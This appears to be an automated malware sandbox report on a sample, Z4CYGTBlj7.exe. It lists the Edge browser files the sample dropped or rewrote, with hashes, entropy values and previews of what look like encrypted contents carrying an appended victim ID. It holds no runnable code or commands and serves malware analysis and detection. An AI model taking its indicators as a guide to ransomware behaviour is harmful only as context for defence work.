SSDEEP:	12:kmmJoCwBrCf1NubQm0pVi1KcoGilx/9oi3oHQfy1XP7zGOy5S9gEER51NB49q3Q+:AmCwBy1NGyViocoGilx/+tiIXjiFlEEl
MD5:	8DFF7D959D109CA0CDC02E476F2C24AE
SHA1:	06C62C1C27F4E58C4BC57014D732F30308F300C2
SHA-256:	E900366EAD87F03E4C4855BE8EFFB6C53EF54DCCE8EAC7D178564FAC84A56EAF
SHA-512:	1EF32C9B0E174AE42A5E89603807F7B8FFCDC1A4C00CE23DFCC4E0B5BB0D5D58DB4E8EAA46EE22FEB4310675FF4126CB3443E55BE5F0F4B10080E07E83255EF5
Malicious:	false
Preview:	2023/Xx1At.lxN....3{~..0.3..;Di_,^B...."..a.u.,.tcd?.H.x....Il...].).....E(....E....J..,...E....n.Kum....j9\.l......(...H...+......J..5%.8....+.....S...d.=..\|..V.....U...>.y..i..H....G...v.v...~.L.;...(4EN.....:.=.c.<..o........H.2].M..vPy.c.9T..:.....T.x...,.#e...(.....<{]c...>..M.qTV=.......'hG...Ua.tfe1....(......".....M\|...X.1<.p.Ev..j.....n.{.E...j.a...Z....y...\|\..u.D..&......e.....j.....o.iz%gA.\7...Vj....B.....[.;...Q.q{......\.....z:.......>0.h4.%..>...}..4..u..x6_+..+`....j\.8Z....2. J..*.._u.[.1.wW.A.._.aA...H.\..p.E....:N.F..).+.]>..../E...k...JR...es>8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	850
Entropy (8bit):	7.73667388677061
Encrypted:	false
SSDEEP:	24:TRVHbdCGHbwhw2++hoMmu7l+Qdg30lEZ+b+nySGlRsbD:TRxbdRweL+hoMR7Pdg3wEZ+bZRmD
MD5:	4FB75F58C74296950CCA1701133F33CD
SHA1:	EDE68E7FD74DCB2D8BB551AF387809923A4DB78F
SHA-256:	7E9A9669E560CCBA6E99D566B827C72081A805AFFB08E85B564EE2FA2A358E9F
SHA-512:	05528A5F048A83221A4F0797607CDC2BE18A7700E0FAF6A771E9B50817EDA52E135E0617F28734FC58366B7514B1D9E7C3DF223E4B446D9D6CFA42DEAE2DE157
Malicious:	false
Preview:	A..r..Xc.{5.._..G B7........f.ww..#..?...)B,..8.~...iqJ....2..!.O..z\3.q..uf .....r..(.<.I.....[n2...1...XJ....:$..w5.@...]....H..q.....@.3?.....R"....K.....v.A......x...E...Ld0.h#g..Ac.....2......C%K...b"FK..9._\|.Qk.....q...aJ.Fu9y.2...n+...i.v..}.bB..j./p5....(....fcy.9.7..Tn.......3..EK\|>::F}.>7JM.;.#.za.<..H....."..?..rW...._p_.>q_`.~."..:s...8\|.1...b.K...;.../.8Q.=H....uv..l.L].Z..0.+.u\|).........Z...@..DuvN..V...q!5..B......W..5.G.%...~....c?N.\iqxN......b.y..$...p...Iw...ek....z.B..JjP.Cw.U.g.R.L.Q....M.%.@..2h. .F.t&.. L..tM0.F.$t....k...\...'..%.~8nX.Q...mF....F..E...I.....v.A-......y.\|..+H.C.y..l....".fx.......^3...f.oB..#.f.h3R.A>..R.SK.&.5...V.\.1&.f..Ks../S.....2...}..!.=....r..E.9..D..;.o....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	655
Entropy (8bit):	7.6133879660038275
Encrypted:	false
SSDEEP:	12:kNWPaRjyyo9HAzR0ncZJe3baI7zS/CQwK4qKdKhkxkQQscii9a:6uwj9FXXeOIy/CQH4qcKhkxQsbD
MD5:	F09B8AE44BEF2AE433AE5CBC997EAD10
SHA1:	0E5DC02F5B322E1F37737484F144C7A83596F3BD
SHA-256:	BDEE9BFAC2CC7923138A3CD8A994710E12550924325924FA624E755F3946E6E9
SHA-512:	473A26FE9E7FAFA660497041E17AB47B918B2E8C3EC5AF92923C89F726EA061EF8EB02FB5F6784952F1EFD61BCA848A15AD6DB131564AB8CAAD392C81CAC890B
Malicious:	false
Preview:	2023/>`f.$......9.(&S..C.h.;+....x.{r...\|.B.......T}..#B..eB$.nxI.Z.......W.>...9..G.. .....N\....1.....t.......f.....b..0..... ..K.U"".....=k.2.......U...6.....p.......Z.e..D......6d.-.Ztc..N..'.b...$..N....F\|.....dH;.(.:..LY~.]..$...`o.......,$7..]~D..`...w]N...9..j!u%......N.....{..`.}..............e...k...wP...."y.$..R]m..<Z....1.j....._...+.!7jnE&....P~zk.g`#.0..\|.s.D...Y.Z....~..1.....x\|hK..4.U.gF.(.j.#....x\|.S.o....-...o\|T..E'.J..JR......gd.l.4......?.'h%.....n.....L.b;E...s":.`....>.g..7...:.\|......A..z8&U.t.}[....."H....y.i..k.VQ8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	80530
Entropy (8bit):	7.997621684263676
Encrypted:	true
SSDEEP:	1536:k0j9GWPACfSptSDoBzhZwNAbEj1gpOsdMKukQe++7ig3lvN5LeUd5P7sGc:k+jle4DoBlGSpOsuYXXLj1sGc
MD5:	F2DB65FE86A34DA239EFCF99A5B1E4CE
SHA1:	CA99E56BFD029EFFF0FE324D4C5E3BF7D8129AB5
SHA-256:	889DFB82B746371DBF638417E8227BF4CE4576410DF789E0C0158A087039383C
SHA-512:	2F0B7583FA7DF4BDC90669F59BC9D0C806787A261A8B689FF53C80BA98DDA233F29DAAAEBC099D9039FBA72C48F0A79A8802B4F0EAFD060E651529FC1FD0A68C
Malicious:	true
Preview:	ewogI.3k.x.0....C>..X.'0...B.....r...H..k.(....#....b....p.g.9m.k.^.....N....TC......&,Ym..b..?U.V..,TK...Z.4.h.ma..4#BP.........{...v..Pw...y.0./o.....tz.....-.A.....b5.eq.H..fb:...(_..m.>&.K......+J4.(.......s.lU.-c3S:......J.^.C...3..Uq..;..,....f.^....a....=\|./!.T...O..r..Y.f.Dr0.y;/........H...V....j,...q.vy..7"...W...[.b.<.v.........g`..a...g.J....6.T.....lY.n@"...b....Gg..x.......0.F)...xv.E6N.P@.c'.i=...../.(....lW.....Hc.....1......%..@......5z)`..Y...x.$...njN..^........\|...fL>(..hu..`.0....S.\|.5.I8.....r9......M..`....K...f....N...R_8.y...q..Z..+..H..Q...qUm.`..j.lT_.c(...$.8....'c..5B..O...;X...&S..V........V..........kUpO..g....@.l.;%[)....j......l...h.$..:..a#!...&...X....z."S\..p..{.h.......wT.....b3....=/..Z..P...._]d".j_...O.M}.$.y....A~.b0.GN.J.0.Bi.\k....vV./.1.!b;..r...:.K..!......r......5L..........^.....C'......e./.........2.u..5...i..'......V.I.-..e.f(.6...w..G..',.9..A.QjO.g..i...=.dY.Y.T..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.4315047685978755
Encrypted:	false
SSDEEP:	12:n5TMmreBltPvEKo+JuhXdZsqxyQscii9a:VMmreltP1o+JwXQqxDsbD
MD5:	087DAD9EB830787111C1683B8AB94533
SHA1:	3953F11C6A79C2C6006E910DA9624C4BC4AD75E8
SHA-256:	329E892E14B1EF313131A96F90F225D4E670B8AB7130B10A25CAA366CED00591
SHA-512:	01C89683AFAC70BD4A9AEFBADDFA18CF24A1C78ED364FDF2424410314E704D0B10423B03DEF54D96C22F3CBE0D97C0048F6AB5CA2B2677AF108C89BE97AB1928
Malicious:	false
Preview:	1.558!.....(.1..~r....._</~.a:..F..4.h`.>=.l....?..j....a...-.f!S.Y._.'.."..g...3..r..W..,ty+..ds....bH.>.........#N...%]..+.".{=wS...':....i.V........$.........i......w.@c.q.....#.S...i._..+.t!......{HJ..O@......."z.....-..9.b.M........1.+wyUTK.^.8=[.(....S.._..L\|:8..i.....q.(5......~n..p..s..AB.. ...QT3o7...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.373964087091304
Encrypted:	false
SSDEEP:	12:YG+UlCnvqea7Zc0nFkbVEz+IZRLBK58YuQscii9a:YGzonvU7ZcGkhgVRLB63sbD
MD5:	D1541E1229B55BCFE16759862ABB1977
SHA1:	1B398A76B657341968FFDD0D99D6011868E55A4E
SHA-256:	757D4CBC3748CCBAA357B0E8DF0554D4FC012FFAC62CDA868273C7253CFC4ADF
SHA-512:	BA72C47EF8C38D1D6E7F03F0822412987F25B08F436F529CA89A0835562D9230E40211F5BDFA7304DC73A5300386AAEB331833FCC252323CAFC3C1E83F2128FE
Malicious:	false
Preview:	{"nam.y.QT.Y....F....._.*..,..s..b."QV.i...[.0R.).K_.a.p.....:j.i.xhF.8J0o..g..../R}P.%./.XY...M...ls..Z.....D.s.D<...x..........w.6.....;...P5.o.......5.:..'.X$;.J)Qa...sC.hTi.V....F.u,.9...cV..#+N?..#@....[...+......#.$.r.<aC.X......y..f..H.....EC.,6..T....m.".{..d..3....RGd4]Nz.....@.....Z..5g]..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	11901
Entropy (8bit):	7.982179163625775
Encrypted:	false
SSDEEP:	192:pUPKCIvghp7DMKCuMdIgdi89XVsy1SncQU7fN+qJQk/mHQLUH1x04mPqf+:nCNh4uILP1qcQUx+2QlQLUVxSj
MD5:	623C7445642082B7AB09A122C7050ECA
SHA1:	B927736CA488D34324D52E6B0E4E7C429A632EDC
SHA-256:	49F864CBA47466CBCA797A760E84E3B55053735CCCE0C1E61C90DFCA0F67ACAB
SHA-512:	3CF8A65498CA388F00D273A5534D2222236964C2472E5E29E583B5FB6B2B755D6846E93F2C4AF4C0E5631CC88274B3B73D97FB15DD81A8B2CAA263C981BBE409
Malicious:	false
Preview:	(()=>...>..'...2. "-.....V.E.Y.>...O.A..#.\..).."........q...W..R..V.oa.k.......P\MC...}Z......\|.^P"X.6.{".d.5......H.....am .3..K.1... .Uw.3.tI+.A....f.....^D..Y?...?._).....HH..5,H(.IBD..Q.f;SF.EY&..OI.....1.h!..$)9..1.j.E`.WZ.y.;)...N..VaHj...~u........_.V...w=Hy.6.&>G....._.i.h>6m..........ej.v.....3.......Ly..~rA....i.;=/.\|.2....]?........T.)....X.`.?.q..Qu.....;1V_.eZ..=....6Da.V........_^...&p+..K.y..........u;I.....L..H.4H.-.\|..Z....}.^....e.V..gp.Mm(......HQ..B ..^J.."s.. .rt.9.U,k.X.... ...}....!....E.0...h..X...h.b1..A........n.A@w.n.....e2..TP@t...t.Y.=G....r8.a...W.z.X./3).(....V......a#.;0.7. .....C...............c.....,.m5..u.t.. Z$..<F.IU.z.V.S....K[.f....g.IbC.\.......Ws.......X]4>..pV)..}.q.C.=..Z..$.B.../m}%I....].j9N...oS..jL.B...h....u....o.."....~.....yg.^.....Y.rsEBkgG.W...3q=...[\|N_y.N....Z..qND\e.S....R........[g.rML-...o\|.M[..V.q...V....rB.t!..,..j3.U.[.(`..\|.....g.......3.......K..4....r...&..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.354046783712861
Encrypted:	false
SSDEEP:	12:4J93o20UPOwwkj/zRWG7xk+uCR85Qscii9a:4zvlmXkjrOHCR8OsbD
MD5:	880E3A19B4B13B9AF8F9285AD23A3E68
SHA1:	983A29BE3287011E94A66C30CAB33EDFDA77AB49
SHA-256:	CD0F20E549231EB553528CC436CA7E22A928A045FDD80798B0547DBB011E9E0C
SHA-512:	C85C01F60E1FDE0B1CB63786C24F6A1737EE4B8A2776195C3CB095807B918FEEFD2BA6738697303D7BE5BDF09801DA31622284ECF8033B44D4D71A120AE11873
Malicious:	false
Preview:	1.1B2.B.L....B;.....A....1^..D...........{9...,..L.N......h......~-.....Y.~..J.].@q.g........FS...H...0Gc.'.h.!!...'.....`F...j5.v._@^_e..5....Cd..vE.....P.X.....i.^..VY..yA....G.t...Hh.F.a.... a.4;..l>...lI...V..m .0S..+....m-\.......N..4.^..!........4...(L.<..[.K.`l...O.B.~f..7v...6.........1?]..Y1X..>.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.4319224164172475
Encrypted:	false
SSDEEP:	12:MeSrf1q6mSUcjrXNgHipstHRpxQUAk+3MnfGQscii9a:MeWfKcj7N7pstxxAk+3MfHsbD
MD5:	430AE90F3038A23DC63F0C60B1E1D9A6
SHA1:	9FC7927C933A3CAB6BBAD9D9E89E345CAB31A653
SHA-256:	B260792C06DDFACB389A7E48D09D952DD01FD03961290FE03E2D17948AF41E3B
SHA-512:	5E4CBADA14A1186A5066DDF44D04BF129EA2EEBA94932089999135C8D7DC9F977177ABFAA81ED4946FCB545170AE6DA4171167F42533EA3F1457C0C5E9A123B1
Malicious:	false
Preview:	.{..6....,0d_p...\..Jg..Y"......gi$.R,.:.sA...y..q.s..E.4g7T.P6....?_.04.t..&S..B..9.....X.Z...b%.a7...#..y4_M...=@-.V.oV......#."F.........x...).l..;m..Pt=...\|r+...Y..g.{.....M..W.....>..6.....U..X.q;..E...#.\iu....\|....,...&..L..2M.O]7...oNS.&n../=.r..a.....\|n.N...9..._G..*.CVf.W6ko.......G8gf....=..S..4.BQV.>...........-bmb.....0...^.F...l....?8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\auto_open_controller.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	953246
Entropy (8bit):	6.393274034170617
Encrypted:	false
SSDEEP:	24576:/7ODjZFSwf1p6KQcXZPLU/8d1rugFDcbmcVuVV2aiptWVslXdsXv4:KDbSY1p6KQcXZPLU/8d1rugFDcbmcVue
MD5:	7703D282CEC5A81BD85307E54555D394
SHA1:	6B389807BE1D84913A38711EE6EF5B0401AF676A
SHA-256:	E82BE12F7D6A2F41278DE0F52C8ABCE5E3FB2C56C25A40F03897383D008A103A
SHA-512:	E31E14801EBFEFD5BF178E3B062EA4AFFBB2414F769910274717A5BC9BA8E2842684EE08A8BB512DCB88E215608EADCF818E5515FF455EE1E7B44FCF2524E7E2
Malicious:	false
Preview:	/! F[.U.wM&.8.u...CsK?KN.J2...z..s..q+.4.2..&...Q..pOx...><rr..X.Ze.u)\?LP.j![......%".5.,..R.VC.{x..Z...u.....a=+%....-..s......g}K.<xL..v......b...t.c-0.Z#R.g.b.....e....Y.U]..!Z;.W.%V.7.......\|.....<`A...s.z.G..T.,hp..@r:./6E...[....V..Q;.f.....'..o.Q..V....#zc..C....Q..OT..w..W........i.._0&PG.....7....~t-~.....R.="t.-]-.~..93Q 4.k...(H0v..#.X......u..c....@.......M_X...md........%n.#..#8W8S..DA(..k..&...}..M..3&...X+.....,.0....?....'.C..x&iF...Z9.:...w..`.o......R..T^,..L......@o3....W...o.(.e..Y.6 ..F.}.@Y5...)'..!8.w.YO1H.wi$#-.S.....&{.WP..pp.....l....b.c.4.+r^=.Cg.;..#....M..xPw.H)H.FK.$.)....+.l.....4<g.{...{fU(z...SK.\q.E..QWslW......-=.H3..X....P..U...\@..'.c...a.....^Sgc...&+#.Z..D3.%...{..].2K..;T......G@.c-A..}O.....feB.[9..).X..E...zGo7..=T...BL.2<.s.}..kW.O/.x.._]..XD..r.5w6R.[.d.....W..V.b..r>s``..S-1.............=.[..}!..A.e...#.30.I.R,.p.m..{=.7........Le%/%2.3.n....K]i>A..QX9#...B...K....s..5.s1.K....9.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_checkout_page_validator.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	793243
Entropy (8bit):	6.5445387932843895
Encrypted:	false
SSDEEP:	24576:37Ue0ls7qS3I9yHp/1l0I/Eqr3HNHK7ToEZyJxenyMUSM5VU+O91EMFg0:Lkls7z3I9yHp/1l0I/Eqr3HNHmToEZys
MD5:	5F2C2406B0ADEAABB9877873702A095D
SHA1:	E76C6EEECA6D2279DAA1F13958A91997C705C464
SHA-256:	467CCB7E1923AD50A28E0DDB9758D924B5228C0B700F7DA42CE11C8D4DB653DA
SHA-512:	DDC44A8BFB0810E33FA22E040A89C1D811545483DAECE181C37523E1C087904363396272AB9AC6BAB48155BC8A855F59E9667842AEE4DDDC4B24CC468D11FED0
Malicious:	false
Preview:	(()=>......$f.Q..H..={..<..y.o...5.5.Ie$..[...THX...`.i..XG~..^...f?..9..K%A...j...M.M.p..=...iB.U.........A.t....:.9.....G..(..+..../....Y~..a..C.m.W..e.4Z....]n$$.t..,8..!}g1;.H?'.~f!.....J.._3..x.~..b.r..,H...]o..V:....s....N.L.N.E..@.....j......<..I....>.....C..h.[5..H~w...l.k.O...~t8Sij./..S.oD.R.r..Ye.I..t.(.w.t...=.. ..o."..!...h..P....W..;...7.(..k2E..&....!.].m:.....:L....4...1..S.Y....>s2L....ihz.~.....X.K.N....d..DEi0E.#.D.[.5.!....}..y4.4%..z]..W.{...y..C.<A..XW..9....+{29.L}.I?.......}JR.<J.ak.Zs..#.C.:....;..q.n.........uPD{..(..W...Ob.`.K.....f...a...!.G...i..Y.I.[...@.4.nB'N.c)..`Bu....ak..^[.%2.@...yW..w.~nzn.]\.b+g....[..}ssw.n....mr..(.P...Z.n\F..a.........>.Yk.^vy.UG .>... ..'.....Z.~..;`.B.....e.>.=......^....w.......j.X...i.$...E...........p.`......V...:h!.i..K.&q.z..O..FH....s..v%...Au..5.~w.=6}.....,..mJ.!G^.*Z@X.Y.Z)I..N........(.e...F......<..vO.;U..$kL....v..r.7j.;H.F..}.h.%&E.`...G.......&..+.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_confirmation_page_validator.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	818059
Entropy (8bit):	6.516761975410042
Encrypted:	false
SSDEEP:	24576:DWEUvZ56P59G6zeDug5LGhcQKyrqJY/huIXv0er0Usyi1JbCk1K2qGzXgQzz9pxS:DWEUveP59nzeDug5LGhcQKyrqJY/huIB
MD5:	D70D5317999A594955FFFB64D3B7FF82
SHA1:	480528E8C2CDEBD1B5E23FFD53D0DF24E8B7ACB5
SHA-256:	DBB60D6E960D62B7800F517A50A6C7B5733C4CD2869DB34BA43DD9D6F5CA2D39
SHA-512:	4C458AEA2DA43E7A43736290FA62AB2A455EF00EAC0C2868CDF85708BBBC1BC923DC16ADBD57BA333007B6DDCE7F79C1BC2E96D6BD1B206B9795479245C27C2D
Malicious:	false
Preview:	(()=>...4.t_..@U.}.....A.-.F.........q...N{,..q....+K.7..Y.........'.]mx6...A+."C.vJ..<....2..Y.W.=KZ...'.}..m..F'"......Hm.......}.....~.GH..L.......F!.n2 .m.h/....).@..<.'#.:r!g"j..............D&....6.........@.P...+..8{Z...[y....l..n+"..i....R.:..B...B....o..r.M...f.=..{...1....p....<..2.>XZ.`7ub.54.;........M....1,.....-..K....b[.....,).,.Mc.%].G\...Z.^.>Vx.E.0>.:.3C.d.Gs..#h.2q..Y..b....x....,..(+...l...j. ...4...B^.<................\|.............?.....c..d...F.....K08...Vj.........\|....0.(W..>..T5"&Z.Q..4j..2~'.[QZ.}..%3......).K.9..m..8tfj...~.o..>.[...BJ...b.jC.}I.>.._.b...T...[l.]....a+.....1S-..i.....>...Z..4.K~TZR...$._4{..mx..NN.k[....Bp.A.<Z%.P%.7.TxkY..bd%..(..`.e...j.....l.....}[..A...3 Cr.$}.K..;i..P?..j.Md...$.....d@}..%..p...qi..w...s.F.p..SP..M.X.....@.^......o..>w.p..-...n....n...e......(C-UOA.....}......+...F....j...e.`...TO.r.....g.z.dO.'..M.X..g.3.~3.ifu).........}Mp..;..e.`..;.=...\|.i.....3KN..l.)..&.1IQ.:O

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1316574
Entropy (8bit):	6.2509145807551425
Encrypted:	false
SSDEEP:	24576:gCTLHSDdM3XW2/c66UwVToLNoX62rgGOs4zUg2oGiNvB+n8aW8Wmf8jTw3AN6qw0:ZTuDdM3XW2/c66UwVToLNoX62rgGOs4x
MD5:	9792BE0E3A8F7F6A5FAE464E2CDFA3DB
SHA1:	FE60753A9F774A83534A16CD78D3A553E3266A8E
SHA-256:	5372326F53E910E2EDE4C199987BB268609AC51053C9225497C48CD84E0668A9
SHA-512:	43E7DE1D2839CD53ACA7FDB3A0E8264B3B2E97163ED4339E932E38CD8D0C7BA30F5242DBDE99ABE7736495B67CC97D2143E1F6B3C744770C8709AD1358039ECA
Malicious:	false
Preview:	(()=>].G.H..y6..m7vs=.._.{....b..-[Qa.d....<$t.x8o;..Y.q.OX.A....X.t[..s.s..1.1...R.jF..\..[.........D:."IA..w..V,T.Z...........t...@.. .....#....>.\...qt...> ..(r.b.....u.{.[..L.!.....&.?...+..=. .tP.H.>.a=0.x..6.Ya..-P..g...`.Q0.$M?)..T^.j..../.......,......h%.}iF.,.v..Q.Gb..BH&.B.g].b.E...0 .....%s".Y.s^....s.2.m...y. D/.GJQ'..~...3y.......T..?~..pBq..RY/6#.7yi.x'.3..Oj..o...d_....e.;.....6......ky78...D..:..x\|..A..G..ti.Y.0.....g(91B...\S.,.s..N..c.ZU..;.8.R...5...6i....m.......Z_..y...2...U...........k.3.j0...... ....OE....V...N.P.n...FU..z.).t7O..u..s.....<.v.........6>.......OX.4g...Q.(.03L..4...E.H....[y..m....;..@......O.5..cC..3..a..L.<.....vuK1.S.....:1.{.\....Z........fo.....[~i...r`f..@.......3s....4..l.2...z......).)....).w/...n.3Z..T.;..E.S..H.P..t.z...A...r.}...6.....i..u.C.R.nl'..h..S.b?.E..>F..M.z=z....o.<........6.G..]9.w..x=..X..+............tM......U.I....yD.G;.I+oE.hlk...;..y.@..Q./.y...\...?...B....~lBz:3.*MK.=

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_tracking_page_validator.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	52139
Entropy (8bit):	7.996329771873707
Encrypted:	true
SSDEEP:	1536:G5FziAJosqM9zJSbxpAM48NlAPvehlIo6:2FLqM9zcbvE/XeQX
MD5:	212B72E65BA4F13A744B821E18510760
SHA1:	C25BEEDA5E75265DF5E22EE89854F3527F5E3F9A
SHA-256:	B00D92E234B8800E9F3A8E51097B31162F3CBA6F6117F89BA4879D02359B3622
SHA-512:	44432003D41C070A2696EA139033DCB5FB9B8FB10CB3AA8D044C71A567AE8C881452448640C0B2F1B7054473967780F42A63BDC30F73966DB4652976AA825E62
Malicious:	true
Preview:	(()=>t..h.....&MQ.]=.s.u3G9\|L"d.W7\|...C...S...YZ.L.d\|UlP..].9..w_.By..HK...3........#6.@W..F..R.x.i....j_.+..6..........%...`.McITn..YQ...2e....aey@.._.h.&.^....@..D.Rwd...U&p:...<..W........o.....n...{.........^D]...<....7t.@..N<.+.W\|I..J...}..16n'.K.3.`.....J,...u..JU.:..4............[.P..ON/5.....%...>\|6Z.....p..N..I.t.;.4p-1.3N....P.\|"...a..PA$vd2...[E..p...=D......kE.o...... ...[7..;_.zn....I...v.V..zWf.>..N0.xk...$..uCU..4.....W:.&.3\..o7&.>..r-.B{f...U.....J.Z.0...m....1...\......3..}Sr..qWpyz.9\|.)@......U...c....W.^}v..........W...E.`\|...5.,....I.3.>.9....~Xz!...U.!..aI9....c...x ..m...m.....W6....\S...$.v.T.U.X.mg..I.......n!.....J~T......T......g..o.~.^\............s.....^.E..jz%......p..%....M.......9..oo;...(j..2R...M=gU.._\...qr.$...l..#....._cs...jt.r8G+sY./.j...6......A...&...5eW.......#.A.m.-......Y-.!.J;.-.....?%H.g.].p....5.$.\|.g[.>Y..\|~...&.y...*\|n@6...r..f...Qj.Q.]Q-R..%S.c.G-UQ...u.... K$.vDD...2.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.318149183584652
Encrypted:	false
SSDEEP:	12:hpguPRIF91Y+nAPnfqHt1lv8g5DImPE0UgTOQscii9a:4uPRIna+APfqHt1egnM0UgT/sbD
MD5:	8DCA46C8372364240687123DCFAE79DF
SHA1:	3CA11A9B891B6E7FBFC5EEE97886B3976CF58CF3
SHA-256:	D3E5C7A5FBEAEAD87E947EE1F75ADF3276D868F5393A323BFAAEA5ADD99AD783
SHA-512:	2AF1A372BCFEF2C150D0554218E19E1132BA2A7E651A774D5D827FE42E244CD84389FD58087D85B78418B09BD4E44186D8A6468DC22E0F271F79F8DEA2B2D225
Malicious:	false
Preview:	1.5EC.L...".\|...h....6...%h....z.@...&.. .fkm.tk.. .V.u..]........qu.D...:@b~....Iw4..@..@GE....~z8.uV..G...... ]g=.+....~D.q.......B....N.HL.tN......h...d..l....R...6j.\|N.d....._...:@.-lng......&...1.:eN.b....[.,...5E.F.......-=.....tW...x...O.Q..Z./..Q.t...G.F....."O]'.8....^......u...:.51..s.@.qT8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	481
Entropy (8bit):	7.497347880408714
Encrypted:	false
SSDEEP:	12:MMAWHzEpge4qfTzt66C+Un870GPtrahbQscii9a:Mz6EOe4OFD+ItPwOsbD
MD5:	085B1BA3C1D41E78A0F5328EF56C8E9D
SHA1:	3E401B874D480FEBED44AE0D38FDA7A09E481852
SHA-256:	5481141964F5C78FEC6178C592BA1A28F4CE7A9E3861CD8E65F1EEC4AAEBBBB7
SHA-512:	36A3D6FB151E95F2077161CFEA3CA3B129DAB9383FDB40D43180B087EEB53A9B9C77047BC58DDAD4A3470E3FE1E491FB5121E0689C952075409B8DA4A3817C64
Malicious:	false
Preview:	.{.M.e..2..-y.K.C..G.........W.).o=x.I....]..1...7..d;l.2.k..t-{!....t..lR.V.YV.}....j.P.JM..@.....I(.7..}..@....8H@U}...}n%.."I.^i..p...)j3.Y&..\.4.tt...^&...\|;....<.%../..Q.8P'......ao...q...AZ....kP...I.k...F]..0j..,U..R'...E.-...\.......;BC`.q....3}7D..^I....~4S.x..3G.7...6.RF...2{hc\.J..?^.......^..!.S..h&......0....s[07.n.....#.Xqp.....H..v...sr.@.on.M.p..M..x.....m.$...\|..0...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\product_page.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	777261
Entropy (8bit):	6.554067112989165
Encrypted:	false
SSDEEP:	12288:Rtj2dX80khpIT7Bs8TcX41ahYSWW26ejCSny5IHve2ReLUpmosaaqinFrP/pQ8y9:Xj2FypITls8AXS5JW26ejCn5IHv/Rzpf
MD5:	F65212C9DAF4559C875EBB800B8DD4F3
SHA1:	D8C9826C0159A05B0EC07F5A24D31D38404B3E22
SHA-256:	267B8519084BE5A4F2CF2A17B8BA974F34421F92ED0D50A016E855FAB2736835
SHA-512:	4B58663633F131C7B7666DD9396E507FCDD22EEA42323DFA1D5A1D817A6173DE2A373D527364C0DBA0557E114A395ECE612C07A12994DD7C8E9745BC823702C5
